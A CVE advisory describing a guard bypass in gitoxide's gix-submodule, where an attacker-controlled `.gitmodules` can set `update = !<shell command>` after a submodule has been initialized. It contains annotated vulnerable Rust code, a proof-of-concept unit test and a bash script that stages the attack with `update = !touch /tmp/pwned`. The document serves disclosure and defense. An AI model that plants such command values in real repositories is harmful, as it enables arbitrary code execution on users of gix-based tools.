CVE-2026-40034 — Vulnerability in gix — CVE Details

### Summary [`gix_submodule::File::update()`](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168) is the API that gates whether an attacker-supplied `.gitmodules` file may set `update = !<shell command>`. The function is designed to return `Err(CommandForbiddenInModulesConfiguration)` unless the `!command` value came from a trusted local source (`.git/config`). Git CVE [CVE-2019-19604](https://nvd.nist.gov/vuln/detail/cve-2019-19604) illustrates why this check is necessary. However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-`.gitmodules` source; it does not verify that the `update` value came from that section. Once a submodule has been initialized (any workflow that writes `submodule.<name>.url` to `.git/config`), and the attacker subsequently adds `update = !cmd` to `.gitmodules`, the guard passes while the command value falls through to the attacker-controlled file. On an identical repository state, `git submodule update` aborts with `fatal: invalid value for 'submodule.sub.update'`, while `gix::Submodule::update()` returns `Ok(Some(Update::Command("touch /tmp/pwned")))`. The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0. ### Details The vulnerable method is `gix_submodule::File::update`: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193: ```rust pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> { let value: Update = match self.config.string(format!("submodule.{name}.update")) { // ^^^^^^^^^^^^^^^^^^ // [A] Reads the value. gix_config::File::string() iterates sections // newest-to-oldest; if the override section lacks `update`, it // falls through to .gitmodules and returns the attacker value. // // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76 Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid { submodule: name.to_owned(), actual: v.into_owned(), })?, None => return Ok(None), }; if let Update::Command(cmd) = &value { let ours = self.config.meta(); let has_value_from_foreign_section = self .config .sections_by_name("submodule") .into_iter() .flatten() .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours)); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // [B] Checks only that SOME section with this name exists from a // non-.gitmodules source. Does NOT check where [A]'s value // came from. if !has_value_from_foreign_section { return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... }); } } Ok(Some(value)) } ``` ### PoC `git submodule init` copies `submodule.$name.url` and writes `active = true` into `.git/config` ([`init_submodule()`, builtin/submodule--helper.c:438-517](https://github.com/git/git/blob/v2.53.0/builtin/submodule--helper.c#L438-L517)). It does not unconditionally copy `update`. Since CVE-2019-19604, `git` rejects `.gitmodules` files that contain `update = !cmd` at parse time. However, `init` is a one-time operation - once the `.git/config` section exists, subsequent changes to `.gitmodules` are not re-inited. So, the attack sequence is: 1. Attacker's repo ships a benign `.gitmodules` (no `update` key). 2. Victim clones and runs `git submodule init` -> `.git/config` contains: ```ini [submodule "sub"] active = true url = /tmp/sub-origin ``` 3. Attacker pushes a new commit adding `update = !cmd` to `.gitmodules`. 4. Victim runs `git pull` -> `.gitmodules` now contains: ```ini [submodule "sub"] path = sub url = /tmp/sub-origin update = !touch /tmp/pwned ``` while `.git/config` is unchanged. This is the precise state that bypasses gitoxide's guard: - The .git/config entry - even though it contains only url and active - causes [`append_submodule_overrides`](https://github.com/GitoxideLabs/gitoxide/blob/dd5c18d9e526e8de462fa40aa047acd097cfa7dc/gix-submodule/src/lib.rs#L41) to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed. - However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned. The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A]. Git itself would refuse to operate on this repository at the next `git submodule update`. The vulnerability is in gitoxide-based consumers that call `Submodule::update()` and trust its output. ### Option 1: Unit test (verified - passes, confirming the bug) Drop into `gix-submodule/tests/file/mod.rs` inside `mod update`: ```rust #[test] fn security_bypass_via_partial_override() { use std::str::FromStr; // Attacker-controlled .gitmodules let gitmodules = "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned"; // Post-`git submodule init` state: only `url` copied to .git/config let repo_config = gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap(); let module = gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap(); let result = module.update("a".into()); // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))` // SECURE: should be `Err(CommandForbiddenInModulesConfiguration { .. })` eprintln!("{:?}", result); } ``` ```console $ cargo test -p gix-submodule security_bypass -- --nocapture running 1 test bypass result: Ok(Some(Command("touch /tmp/pwned"))) test file::update::security_bypass_via_partial_override ... ok ``` ### Option 2: End-to-end - git refuses, gitoxide accepts Verified with **git 2.51.2** and **gix @ `dd5c18d9e`**. ```bash #!/bin/bash set -e cd /tmp rm -rf evil-repo victim sub-origin 2>/dev/null || true # --- Setup --- mkdir sub-origin && cd sub-origin git init -q && git commit -q --allow-empty -m init cd /tmp # --- [1] Attacker creates repo with BENIGN submodule --- mkdir evil-repo && cd evil-repo git init -q git -c protocol.file.allow=always submodule add /tmp/sub-origin sub git commit -q -m "add submodule (benign)" cd /tmp # --- [2] Victim clones and inits (passes git's .gitmodules validation) --- git -c protocol.file.allow=always clone -q /tmp/evil-repo victim cd victim git submodule init # .git/config now has: [submodule "sub"] active=true, url=..., NO update key cd /tmp # --- [3] Attacker adds malicious update to .gitmodules --- cd evil-repo cat >> .gitmodules <<'EOF' update = !touch /tmp/pwned EOF git commit -q -am "add malicious update" cd /tmp # --- [4] Victim pulls --- cd victim git pull -q ``` Final state: ``` --- .gitmodules: [submodule "sub"] path = sub url = /tmp/sub-origin update = !touch /tmp/pwned --- .git/config (submodule section): [submodule "sub"] active = true url = /tmp/sub-origin ``` **Upstream git on this state:** ```console $ cd /tmp/victim && git submodule update fatal: invalid value for 'submodule.sub.update' $ echo $? 128 $ test -f /tmp/pwned && echo VULNERABLE || echo SAFE SAFE ``` **Gitoxide on the same state:** ```rust // /tmp/gix-repro/main.rs let repo = gix::open("/tmp/victim")?; for sm in repo.submodules()?.expect("submodules present") { println!("{}: {:?}", sm.name(), sm.update()); } ``` ```console $ cargo run sub: Ok(Some(Command("touch /tmp/pwned"))) ``` The `CommandForbiddenInModulesConfiguration` guard never fires. ### Impact ### Direct Any downstream code built on `gix` that: 1. Calls `Submodule::update()` to determine the update strategy, and 2. Trusts that `Update::Command(_)` is safe to execute (because `CommandForbiddenInModulesConfiguration` exists as the documented guard) …will execute attacker-controlled shell commands on `submodule update` against a previously-initialized submodule. `gix` itself does not currently ship a `submodule update` implementation, so there is no RCE in the `gix` CLI today. However: - The `Submodule::update()` API is public at `gix/src/submodule/mod.rs:108` and delegates directly to the vulnerable function. - The error variant name (`CommandForbiddenInModulesConfiguration`) and test suite (`valid_in_overrides` at `gix-submodule/tests/file/mod.rs:272`) explicitly document this as the security boundary. - Any third-party tool, IDE plugin, or CI integration building submodule-update on top of `gix` inherits this vulnerability. ### Indirect / second-order - CI/forge integrations that auto-init submodules and then query the update mode - Editor/IDE extensions using `gix` for submodule info - Gitoxide-based `init` equivalents - any tool that implements its own init (writing `url` to local config) creates the bypass state without needing the pull-after-init sequence